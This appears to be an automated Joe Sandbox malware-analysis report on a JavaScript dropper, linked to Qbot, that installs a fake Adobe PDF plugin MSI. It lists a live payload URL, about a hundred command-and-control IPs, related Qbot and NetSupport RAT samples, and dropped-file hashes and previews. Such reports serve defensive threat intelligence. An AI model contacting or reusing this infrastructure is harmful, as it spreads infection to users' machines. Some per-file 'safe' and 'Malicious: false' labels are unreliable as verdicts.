https://garokelka.com/yjxcii.msill.mui	wscript.exe, 00000000.00000002.392535316.000001C96BBF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.391972717.000001C96BBE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.392048669.000001C96BBF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://garokelka.com/	4fa97f.rbs.1.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
75.143.236.149	unknown	United States	20115	CHARTER-20115US	true
83.110.223.61	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	true
86.195.14.72	unknown	France	3215	FranceTelecom-OrangeFR	true
84.215.202.8	unknown	Norway	41164	GET-NOGETNorwayNO	true
184.182.66.109	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
80.167.196.79	unknown	Denmark	3292	TDCTDCASDK	true
125.99.69.178	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
89.32.156.5	unknown	Italy	48544	TECNOADSL-ASIT	true
161.142.103.187	unknown	Malaysia	9930	TTNET-MYTIMEdotComBerhadMY	true
213.64.33.92	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	true
114.143.176.236	unknown	India	17762	HTIL-TTML-IN-APTataTeleservicesMaharashtraLtdIN	true
24.234.220.88	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
14.192.241.76	unknown	Malaysia	9534	MAXIS-AS1-APBinariangBerhadMY	true
173.88.135.179	unknown	United States	10796	TWC-10796-MIDWESTUS	true
72.205.104.134	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
69.160.121.6	unknown	Jamaica	33576	DIG001JM	true
117.195.17.148	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	true
47.34.30.133	unknown	United States	20115	CHARTER-20115US	true
70.49.205.198	unknown	Canada	577	BACOMCA	true
184.181.75.148	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
84.35.26.14	unknown	Netherlands	21221	INFOPACT-ASTheNetherlandsNL	true
41.227.190.59	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	true
86.168.210.41	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
100.4.163.158	unknown	United States	701	UUNETUS	true
70.50.83.216	unknown	Canada	577	BACOMCA	true
165.120.169.171	unknown	United States	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
82.131.141.209	unknown	Hungary	20845	DIGICABLEHU	true
68.203.69.96	unknown	United States	11427	TWC-11427-TEXASUS	true
79.92.15.6	unknown	France	15557	LDCOMNETFR	true
64.121.161.102	unknown	United States	6079	RCN-ASUS	true
96.56.197.26	unknown	United States	6128	CABLE-NET-1US	true
178.175.187.254	unknown	Moldova Republic of	43289	TRABIAMD	true
125.99.76.102	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
81.101.185.146	unknown	United Kingdom	5089	NTLGB	true
98.187.21.2	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
92.149.250.113	unknown	France	3215	FranceTelecom-OrangeFR	true
76.86.31.59	unknown	United States	20001	TWC-20001-PACWESTUS	true
147.147.30.126	unknown	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	true
96.87.28.170	unknown	United States	7922	COMCAST-7922US	true
75.109.111.89	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	true
124.122.47.148	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	true
88.126.94.4	unknown	France	12322	PROXADFR	true
85.57.212.13	unknown	Spain	12479	UNI2-ASES	true
103.101.203.177	unknown	Singapore	133136	MYREPUBLIC-SGMyRepublicLtdSG	true
94.204.202.106	unknown	United Arab Emirates	15802	DU-AS1AE	true
47.205.25.170	unknown	United States	5650	FRONTIER-FRTRUS	true
95.45.50.93	unknown	Ireland	5466	EIRCOMInternetHouseIE	true
85.61.165.153	unknown	Spain	12479	UNI2-ASES	true
80.12.88.148	unknown	France	3215	FranceTelecom-OrangeFR	true
103.144.201.48	unknown	unknown	139762	MSSOLUTION-AS-APSolutionBD	true
102.156.10.183	unknown	Tunisia	37705	TOPNETTN	true
86.132.236.117	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
205.237.67.69	unknown	Canada	11290	CC-3272CA	true
201.143.215.69	unknown	Mexico	8151	UninetSAdeCVMX	true
76.178.148.107	unknown	United States	10838	OCEANIC-INTERNET-RRUS	true
69.242.31.249	unknown	United States	7922	COMCAST-7922US	true
85.104.105.67	unknown	Turkey	9121	TTNETTR	true
41.186.88.38	unknown	Rwanda	36890	MTNRW-ASNRW	true
76.16.49.134	unknown	United States	7922	COMCAST-7922US	true
90.104.151.37	unknown	France	3215	FranceTelecom-OrangeFR	true
201.244.108.183	unknown	Colombia	19429	ETB-ColombiaCO	true
103.42.86.42	unknown	India	133660	EDIGITAL-ASE-InfrastructureandEntertainmentIndiaPvtLt	true
105.184.209.194	unknown	South Africa	37457	Telkom-InternetZA	true
116.74.163.130	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
116.120.145.170	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
103.139.242.6	unknown	India	138798	MUTINY-AS-INMutinySystemsPrivateLimitedIN	true
70.28.50.223	unknown	Canada	577	BACOMCA	true
217.195.153.225	garokelka.com	Netherlands	395092	SHOCK-1US	false
98.145.23.67	unknown	United States	20001	TWC-20001-PACWESTUS	true
81.229.117.95	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	true
82.125.44.236	unknown	France	3215	FranceTelecom-OrangeFR	true
45.243.142.31	unknown	Egypt	24863	LINKdotNET-ASEG	true
89.129.109.27	unknown	Spain	12479	UNI2-ASES	true
27.109.19.90	unknown	India	17625	BLAZENET-IN-APBlazeNetsNetworkIN	true
122.186.210.254	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	true
122.184.143.86	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	true
50.68.186.195	unknown	Canada	6327	SHAWCA	true
45.62.70.33	unknown	Canada	40440	NRTC-CA	true
83.249.198.100	unknown	Sweden	39651	COMHEM-SWEDENSE	true
12.172.173.82	unknown	United States	2386	INS-ASUS	true
47.199.241.39	unknown	United States	5650	FRONTIER-FRTRUS	true
79.168.224.165	unknown	Portugal	2860	NOS_COMUNICACOESPT	true
199.27.66.213	unknown	United States	40608	HCTNEBRASKAUS	true
176.142.207.63	unknown	France	5410	BOUYGTEL-ISPFR	true
86.176.83.44	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
92.154.17.149	unknown	France	3215	FranceTelecom-OrangeFR	true
65.95.141.84	unknown	Canada	577	BACOMCA	true
50.68.204.71	unknown	Canada	6327	SHAWCA	true
89.79.229.50	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	true
71.38.155.217	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	true
77.126.99.230	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	true
103.123.223.133	unknown	India	138329	KWS-AS-APKenstarWebSolutionsPrivateLimitedIN	true
31.53.29.235	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
198.2.51.242	unknown	United States	20001	TWC-20001-PACWESTUS	true
93.147.235.8	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
92.9.45.20	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	true
113.11.92.30	unknown	Bangladesh	7565	BDCOM-BDRangsNiluSquare5thFloorHouse75Road5AD	true
96.114.21.40	xfinity.com	United States	7922	COMCAST-7922US	false
77.86.98.236	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	true
172.115.17.50	unknown	United States	20001	TWC-20001-PACWESTUS	true

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	880006
Start date and time:	2023-06-01 18:05:40 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Without Instrumentation
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	ProjectFunding_450726_Jun01.js
Detection:	MAL
Classification:	mal92.troj.evad.winJS@10/19@3/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 60.8%) Quality average: 43.6% Quality standard deviation: 40.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 67
Cookbook Comments:	Found application associated with file extension: .js Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.77.34.176
Excluded domains from analysis (whitelisted): e10994.dscx.akamaiedge.net, ctldl.windowsupdate.com, www.xfinity.com.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtProtectVirtualMemory calls found.
VT rate limit hit for: ProjectFunding_450726_Jun01.js

Simulations

Behavior and APIs

Time	Type	Description
18:06:38	API Interceptor	1x Sleep call for process: msiexec.exe modified
18:06:48	API Interceptor	9x Sleep call for process: wermgr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
75.143.236.149	oOo.dat.dll	Get hash	malicious	Qbot	Browse
	photographed.dat.dll	Get hash	malicious	Qbot	Browse
	F086.dll	Get hash	malicious	Qbot	Browse
	A649.dll	Get hash	malicious	Qbot	Browse
	F072.dll	Get hash	malicious	Qbot	Browse
	F086.dll	Get hash	malicious	Qbot	Browse
	A290.dll	Get hash	malicious	Qbot	Browse
	A649.dll	Get hash	malicious	Qbot	Browse
	5q4psw.msi	Get hash	malicious	Qbot	Browse
	15dasx.msi	Get hash	malicious	Qbot	Browse
	5q4psw.msi	Get hash	malicious	Qbot	Browse
	15dasx.msi	Get hash	malicious	Qbot	Browse
	licking.dll	Get hash	malicious	Qbot	Browse
	licking.dll	Get hash	malicious	Qbot	Browse
	main2.dll	Get hash	malicious	Qbot	Browse
	r3zg12.msi	Get hash	malicious	Qbot	Browse
	main.dll	Get hash	malicious	Qbot	Browse
	r3zg12.msi	Get hash	malicious	Qbot	Browse
	main.dll	Get hash	malicious	Qbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xfinity.com	dqVPlpmWYt.exe	Get hash	malicious	Unknown	Browse	96.118.152.230

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHARTER-20115US	oOo.dat.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	photographed.dat.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai	Browse	141.126.207.111
	F086.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	A649.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	F072.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	F086.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	A290.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	A649.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	5q4psw.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	15dasx.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	5q4psw.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	15dasx.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	licking.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	licking.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	main2.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	r3zg12.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	main.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	r3zg12.msi	Get hash	malicious	Qbot	Browse	47.34.30.133

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	doc1961.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan1574.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan214.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan70.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan1731.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan521.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	doc1260.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan621.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan621.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan129.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	AgreementCancellation_167193_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	AgreementCancellation_167193_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	Cancellation_700988_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	Cancellation_700988_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	lciS2vJYVG.exe	Get hash	malicious	Unknown	Browse	217.195.153.225
	2Ys4KL12jE.lnk	Get hash	malicious	Unknown	Browse	217.195.153.225
	$RV11HAN.exe	Get hash	malicious	Unknown	Browse	217.195.153.225
	1CjPwte3ku.exe	Get hash	malicious	Unknown	Browse	217.195.153.225
	Server.dll.exe	Get hash	malicious	Unknown	Browse	217.195.153.225

Dropped Files

⊘No context

Created / dropped Files

C:\Config.Msi\4fa97f.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	9204
Entropy (8bit):	5.57679529554553
Encrypted:	false
SSDEEP:	96:MMHEHYtJKeoCLS2UMeFHkWHFPw9CsvRqeHtUMeFHkWHFPw9C6jfq0U/vRqeHDHVd:MMkveuMeEWlwgYmMeEWlwg5xxPpUVpE
MD5:	84FE0B5BC8ABDDB974E369707AD19242
SHA1:	24377A41676C271D39E4E80253B630203811D0CB
SHA-256:	E7893592E97850ABFD1B316329421FC65F02609F6C9ABB3E2E13C540ED58C03B
SHA-512:	DB3BCF5F562F992F0D6B1671FAA8E04FD3F4DA2DA01A2DD6EF0E4558D9A444CDB31316086CB4BA0CFF76604069F6CB9944D02F4BFBE25F5830D3E26E4FC2DB05
Malicious:	false
Preview:	...@IXOS.@.....@..V.@.....@.....@.....@.....@.....@......&.{96CEB4EF-A52D-4EEF-96B9-6BAA63C42447}'.Adobe Acrobat PDF Browser Plugin 4.8.25..yjxcii.msi.@.....@.....@.....@........&.{04978FC0-C46D-416F-9983-8CD7C69572EE}.....@.....@.....@.....@.......@.....@.....@.......@....'.Adobe Acrobat PDF Browser Plugin 4.8.25......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{82B5B2FD-2237-42AB-9F03-B3B9EAB30000}&.{96CEB4EF-A52D-4EEF-96B9-6BAA63C42447}.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]..;.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\....C.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll....E.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs....WriteRegistryValues..Writing system registry values..Key: [1], Name: [2], Value: [3]$..@....%.Software\AdobeAcrobatPDFBrowserPlugin...@....(.&...AdobeAcrobatPDF

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	770192
Entropy (8bit):	6.877946115493149
Encrypted:	false
SSDEEP:	12288:ovXYcP7kXn89DhAw1vUN3RFEycMFSDXxqEbfRh+NjAyejvDYTrU0chn:mvTkXnyDPORDccmEsP+NjAyej7Ys0a
MD5:	3C0944AE53F5E8A246872531F17AFE11
SHA1:	F13C3A9A232E9E4932B57C08294E294B50EBF87D
SHA-256:	D59E572AD380CD0CA263BEDDF431A60DAD4EB7224E7997C1A5847B924078267B
SHA-512:	4E979F2DA55539B38977AA4950C1FA4D84DC8AF26E4FC790D5FCE52E9A5305A88A33F3A034EBF5984E324335C0FF36AFD385EF7A90F181163388818EF9BE1380
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.Fz[XFz[XFz[XO..XBz[X]..XCz[XFzZX.x[X.4.XGz[X]..XEz[X]..XKz[X]..X!z[X]..XGz[X]..XGz[X]..XGz[XRichFz[X................PE..L.....6P...........!.........t.......................................................9....@......................... ....D...[..d....P.......................`..<...0...............................H<..@............................................text...E........................... ..`.rdata...p.......r..................@..@.data...D%... ..."..................@....rsrc........P....... ..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	132
Entropy (8bit):	4.599233980549996
Encrypted:	false
SSDEEP:	3:LwBxFkvH4dGmMKLVKRLGPz4VAFkvH4dGmMKLVKRLGH:cHFkvYdlZKRLi7FkvYdlZKRL4
MD5:	0D4C9F15CE74465C59AE36A27F98C817
SHA1:	9CCE8EEFA4D3D9C5E161C5DBB860CFE1489C6B1A
SHA-256:	D24E3399060B51F3A1C9D41A67DE2601888A35C99DA8DB70070D757BB3F1913A
SHA-512:	9BED0EAFC2CF2A2360850CA1070FFB04AC14F04C78379485998A93F45012B5C11CC7F6F68129F65B8B5F90437CB965908C6A1BB9D83A56B068D6BDE1D5FDAD1F
Malicious:	false
Preview:	MsgBox "Adobe Acrobat PDF Browser Plugin installation error 0x00000328", 16, "Adobe Acrobat PDF Browser Plugin installation error"..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\national[1].htm

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	HTML document, ASCII text, with very long lines (65212)
Category:	dropped
Size (bytes):	149673
Entropy (8bit):	5.2876644855030595
Encrypted:	false
SSDEEP:	3072:/DbDv9PpwZW+V6ssCcVwjhrTFJnZV12K5AZvBYEKdBW:zIAuW
MD5:	7EBE3B8C23361677A5D266FC33AD5CE0
SHA1:	95575823454420072615E512F96E6AE5061ACA35
SHA-256:	C7EDD3195D91EF7CD82A3041875BE1D314DFB5E5B58116D9FB8DAEAB3015E929
SHA-512:	83F660B73447B91B5EC02D0126739B24C831B7BEBF50FEC72AADA185CCC7068E30B1666B7D52CEE81120B75F2ABC9868E2C0470E5D92632F12FDE8981457C5C4
Malicious:	false
Preview:	<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="#000000"><script>if (typeof window !== "undefined" && typeof window.process === "undefined") {. window.process = window.process \|\| { env: {} };. }</script><script type="env-config">{"clientId":"xfinity-learn-ui","sitecoreApiKey":"{1A57AE5E-AF7C-4A9E-803A-C756E3F23267}","sitecoreApiUrl":"https://jss.xfinity.com/","dictionaryKey":"{5FA0A82E-BBDB-4FBD-A3F4-9C5D07AA6E0E}","uniform":false,"oAuth":{"clientId":"shoplearn-web","endpoint":"https://oauth.xfinity.com"},"endpoints":{"ssmEnv":"https://api.sc.xfinity.com","aiQApiUrl":"https://aiq-prod.codebig2.net","errorRedirectUrl":"https://www.xfinity.com/learn/landing/sorry","cspApiUrl":"https://csp-prod.codebig2.net","dataLayerTimelineApiUrl":"https://bdl43tfhab.execute-api.us-east-1.amazonaws.com/prod/aiq-banner"},"environment":{"name":"PROD"},"appName":"xfinity-lea

C:\Windows\Installer\4fa980.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Adobe Acrobat PDF Browser Plugin 4.8.25, Author: Adobe Inc., Keywords: Installer, Comments: Adobe Acrobat PDF Browser Plugin, Template: Intel;1033, Revision Number: {04978FC0-C46D-416F-9983-8CD7C69572EE}, Create Time/Date: Thu Jun 1 15:57:38 2023, Last Saved Time/Date: Thu Jun 1 15:57:38 2023, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2
Category:	dropped
Size (bytes):	413696
Entropy (8bit):	7.876840695992402
Encrypted:	false
SSDEEP:	6144:VrVPe+3R6gz8C1psDVw8EAYwzPJLNee9iZiYnCpqvY1dGujAyep5vD5aw4vSHR:axCriEQzPJLNee9Lp1NjAyefvDav6R
MD5:	01B4260B2D32A2E757F3720719EEE290
SHA1:	3E04D42777C59BFE821838C09E3EAFA758D37A1F
SHA-256:	CCDE8420DBD52ABC7A45178EC7F6E41FC7C1DF9CF51388D77AF4D76877CABD75
SHA-512:	957D4846EFDF80BA20E9DC95D7EA20ACCBF56F3200B0D0E431261C4075548587810C61FD69E96F21A6E06C74BA30E7D07EE17CDA0716DB0F9F91ED625F728270
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI319E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Adobe Acrobat PDF Browser Plugin 4.8.25, Author: Adobe Inc., Keywords: Installer, Comments: Adobe Acrobat PDF Browser Plugin, Template: Intel;1033, Revision Number: {04978FC0-C46D-416F-9983-8CD7C69572EE}, Create Time/Date: Thu Jun 1 15:57:38 2023, Last Saved Time/Date: Thu Jun 1 15:57:38 2023, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2
Category:	dropped
Size (bytes):	413696
Entropy (8bit):	7.876840695992402
Encrypted:	false
SSDEEP:	6144:VrVPe+3R6gz8C1psDVw8EAYwzPJLNee9iZiYnCpqvY1dGujAyep5vD5aw4vSHR:axCriEQzPJLNee9Lp1NjAyefvDav6R
MD5:	01B4260B2D32A2E757F3720719EEE290
SHA1:	3E04D42777C59BFE821838C09E3EAFA758D37A1F
SHA-256:	CCDE8420DBD52ABC7A45178EC7F6E41FC7C1DF9CF51388D77AF4D76877CABD75
SHA-512:	957D4846EFDF80BA20E9DC95D7EA20ACCBF56F3200B0D0E431261C4075548587810C61FD69E96F21A6E06C74BA30E7D07EE17CDA0716DB0F9F91ED625F728270
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIAA1B.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2187
Entropy (8bit):	5.6363323530148035
Encrypted:	false
SSDEEP:	48:dMH72bRJwCP3qLDufME3YLEBoD8SY1eUFEHciHHzaEVlt/1wH7Hp:dMHMyfGYLKAue2MrHHzaEP8H7Hp
MD5:	B598E15C88764342AAE04F576B2E7554
SHA1:	493D93AB4E35D7ECCA5B372ABC9276601362E0AF
SHA-256:	D5C366D9D541B96C41C10C79BEAF62B0690F741709DA2ABF352C6DDEEB178423
SHA-512:	4D6544F1009886D15F24B8534E24EDA31CE19397BE11152DFE4DDB06D966268442147602C576B79B8C46F90147EDBE19468F45766AF28110B878A7CD188BB3F3
Malicious:	false
Preview:	...@IXOS.@.....@..V.@.....@.....@.....@.....@.....@......&.{96CEB4EF-A52D-4EEF-96B9-6BAA63C42447}'.Adobe Acrobat PDF Browser Plugin 4.8.25..yjxcii.msi.@.....@.....@.....@........&.{04978FC0-C46D-416F-9983-8CD7C69572EE}.....@.....@.....@.....@.......@.....@.....@.......@....'.Adobe Acrobat PDF Browser Plugin 4.8.25......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{82B5B2FD-2237-42AB-9F03-B3B9EAB30000}F.01:\Software\AdobeAcrobatPDFBrowserPlugin\AdobeAcrobatPDFBrowserPlugin.@.......@.....@.....@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@.....@.....@......;.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\..).1\xssanpen\\|AdobeAcrobatPDFBrowserPlugin\......Please insert the disk: ..media3.cab.@.....@.... .C:\Windows\Installer\MSI319E.tmp.........@........main.dll..dll_main..main.dll.@.....@.....@.......@.

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5153161959760162
Encrypted:	false
SSDEEP:	48:98PhpuRc06WXOCFT50Q+WIWGMS59z7uSiWoJGMSI818lJMOp:ghp1UFT9+2Q/WF9MOp
MD5:	266A7251130E83E056D847C54D27008F
SHA1:	8BD2ECEF2C1A9B0041B11E38AEAF2E1430D3B54D
SHA-256:	E97AC3B1BFB593699A3CBDA187858EF21F5D808A13CDC086ED913470ADE5CC42
SHA-512:	3CB622938D0B8CC543C4392C3FBD9801242228E1708694F97FAD3B8460409D889F54FE4DC88410D6D0D75612F5CE622E7F31AC8EF70C5382781039C137B80297
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF22471B5A50AA2E97.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.12496035548864996
Encrypted:	false
SSDEEP:	24:M7MOYOtzW7s818lOdWmmqrb9ipV4dWmmqrb9ipV7V3+bWG87sGgSi+ZcZk5z+Z5Q:eMOpJ818lEGMSoGMS59z7uSiWoQzW5Q
MD5:	DC8C51D16E9966D19726F7ADC8AC5D65
SHA1:	CC2D5BA3CE57EA1AF46F93EC8E2F8733E87EAD40
SHA-256:	A466FD1A46AB4CED879E5873F9CC5C047019DEE22D96F9163634EB77B25B6E79
SHA-512:	5451FC7BF6D2BFC2D96D9ACEF275777FAB91482AC81965F6B93EA59F1AA86AC340145D5FA2F56E8238715474E0B1DD91FD72DFB4776DCA07E5D3BC5DEF664DC6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2A70DF5CEC56BF5D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2175273904956243
Encrypted:	false
SSDEEP:	48:rsRuLAMFFXOTT5lQ+WIWGMS59z7uSiWoJGMSI818lJMOp:IRoOT0+2Q/WF9MOp
MD5:	2447547B4D14FFCBA21C742B5C25754A
SHA1:	050B5D5F9CCC9C2B1012FCAE76FF9C17CD73E86C
SHA-256:	EF05DA126890FDB6C62846C7BD1B2A9767686A95270E29ACEFF26C1C9DB0811E
SHA-512:	8A9CD27016CEE5D1B1234B5DC17335DD44C70C107ACC1BD07DFC90A55F2AA59353495806010D4A3F67C2E8D5FEEE07308137EA9447F0B1F86396D30024D84431
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF6E755A35FD255ACB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF79B335FA0EB48BA5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2175273904956243
Encrypted:	false
SSDEEP:	48:rsRuLAMFFXOTT5lQ+WIWGMS59z7uSiWoJGMSI818lJMOp:IRoOT0+2Q/WF9MOp
MD5:	2447547B4D14FFCBA21C742B5C25754A
SHA1:	050B5D5F9CCC9C2B1012FCAE76FF9C17CD73E86C
